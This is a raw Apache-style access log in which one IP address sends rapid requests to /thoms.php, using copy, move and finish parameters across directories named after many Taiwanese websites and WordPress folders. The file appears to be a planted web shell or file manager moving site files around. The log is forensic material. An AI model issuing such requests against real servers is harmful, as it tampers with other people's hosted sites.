45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bossini.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=wp-content HTTP/1.1" 200 11372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=betcity.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bfl.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20230 "https://163.245.207.76/thoms.php?copy=big-wife.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=upgrade HTTP/1.1" 200 11357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20231 "https://163.245.207.76/thoms.php?copy=big-wife.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20230 "https://163.245.207.76/thoms.php?copy=big-wife.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20232 "https://163.245.207.76/thoms.php?copy=big-wife.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:28 -0400] "GET /thoms.php?copy=big-wife.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=upgrade HTTP/1.1" 200 11357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20267 "https://163.245.207.76/thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wp-content HTTP/1.1" 200 11335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20267 "https://163.245.207.76/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20268 "https://163.245.207.76/thoms.php?copy=bodbooks.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=cgi-bin HTTP/1.1" 200 11308 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20267 "https://163.245.207.76/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17709 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13148 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17362 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:29 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17300 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=upgrade HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13834 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17345 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16548 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20268 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20301 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17515 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17425 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17585 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19384 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=cgi-bin HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17361 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13045 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20265 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
